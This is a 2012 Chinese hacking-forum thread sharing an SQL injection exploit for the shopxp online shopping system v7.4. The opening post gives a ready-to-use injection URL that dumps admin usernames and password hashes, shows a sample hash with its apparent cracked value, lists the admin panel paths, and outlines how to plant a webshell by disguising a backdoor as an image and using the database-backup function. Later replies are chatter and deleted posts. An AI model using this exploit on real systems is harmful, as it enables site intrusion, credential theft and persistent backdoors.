shopxp网上购物系统 v7.4 SQL注入漏洞

Free_小东 · 发表于 2012-6-5 17:59:27

关键字：

游客，如果您要查看本帖隐藏内容请回复

注入代码：
TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%20select%201,2,admin%2bpassword,4,5,6,7%20from%20shopxp_admin

爆出用户名和密码注意：用户名和密码是连在一起的，后十六位是密码MD5加密 adminb1481eca94b12f75 =====admin b1481eca94b12f75（38983806 ）

后台：/admin 或者/admin_shopxp

拿webshell方法：把小马改为图片格式后缀准备上传，利用数据库备份搞定webshell

haiou20082008 · 发表于 2012-6-5 18:17:10

来学习一下跟刘亦菲那个一样？

Free_小东 · 发表于 2012-6-5 21:02:46

haiou20082008 发表于 2012-6-5 18:17
来学习一下跟刘亦菲那个一样？

一楼的不要老是想着刘亦菲，都是浮云

jimu · 发表于 2012-6-6 11:27:44

看看！！！！！！！！

三少银 · 发表于 2012-6-6 13:05:44

瞅瞅和v8.0的区别

显示全部楼层 · 发表于 2012-6-6 21:33:37

提示: 作者被禁止或删除内容自动屏蔽

显示全部楼层 · 发表于 2012-6-8 12:05:33

提示: 作者被禁止或删除内容自动屏蔽

Free_小东 · 发表于 2012-6-8 12:47:02

IceSnow 发表于 2012-6-8 12:05
怎么老是让回复？

伸手党多

fox · 发表于 2012-6-9 23:41:53

啊哈，学学怎么分析代码的

Free_小东 · 发表于 2012-6-9 23:56:49

fox 发表于 2012-6-9 23:41
啊哈，学学怎么分析代码的

这个ID

X企鹅该用户已被删除	发表于 2012-6-6 21:33:37 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
X企鹅该用户已被删除
	回复支持反对使用道具举报

IceSnow 该用户已被删除	发表于 2012-6-8 12:05:33 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
IceSnow 该用户已被删除
	回复支持反对使用道具举报

shopxp网上购物系统 v7.4 SQL注入漏洞

点评

点评

指导单位

旗下站点

联系我们